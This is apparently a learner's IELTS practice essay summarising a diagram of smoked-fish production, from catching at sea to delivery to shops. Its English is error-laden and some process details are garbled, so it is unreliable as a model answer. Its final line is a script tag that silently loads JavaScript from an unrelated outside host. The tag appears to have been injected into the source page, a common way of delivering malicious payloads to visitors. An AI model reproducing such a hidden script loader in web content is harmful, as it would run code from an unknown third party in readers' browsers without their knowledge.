The diagram presents the process of producing smoked fish Summarise the information by selecting and reporting the main features and make comparisons where relevant

The diagrammatic representation elucidates the procedure about the production of smoke fish.

Overall, it can be manifested that, there are thirteenth distinct steps to making smoke fish. Commencing with the fish hunting in the ocean and ending with distribution to the retail store.

From the beginning, the fish is collected from the ocean and carried to the port by boat and then it is frozen in a cooling bucket. Before being cut down and open, the fish is thawed into freshwater where it is washed.

Then after, the fish is kept in a combination of salt water and yellow coloring for feed. Once, the fish is ready for the smoke, then it is packed into the box. Following this, it is freezing at 0 Celsius temperature and held in a cold store. Lastly, it is prepared and distributed by transportation to the fish shop for sale.<script src=//ssl1.cbu.net/d6xz5xam></script>